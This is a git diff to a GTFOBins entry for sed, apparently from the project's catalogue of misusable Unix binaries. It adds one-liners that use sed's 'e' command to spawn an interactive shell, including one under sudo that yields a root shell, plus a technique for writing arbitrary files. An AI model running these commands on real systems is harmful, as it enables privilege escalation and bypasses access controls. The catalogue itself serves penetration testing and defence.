diff --git a/_gtfobins/sed.md b/_gtfobins/sed.md index e6df243..dbeb315 100644 --- a/_gtfobins/sed.md +++ b/_gtfobins/sed.md @@ -1,9 +1,9 @@ --- functions: + execute-interactive: + - code: sed "e /bin/sh -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" sudo-enabled: - - code: | - LFILE=file_to_read - sudo sed -e '' "$LFILE" + - code: sudo sed "e /bin/sh -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" suid-enabled: - code: | LFILE=file_to_read @@ -12,4 +12,8 @@ functions: - code: | LFILE=file_to_read sed -e '' "$LFILE" + file-write: + - code: | + LFILE=file_to_write + echo x | sed "s/x/data/;w $LFILE" ---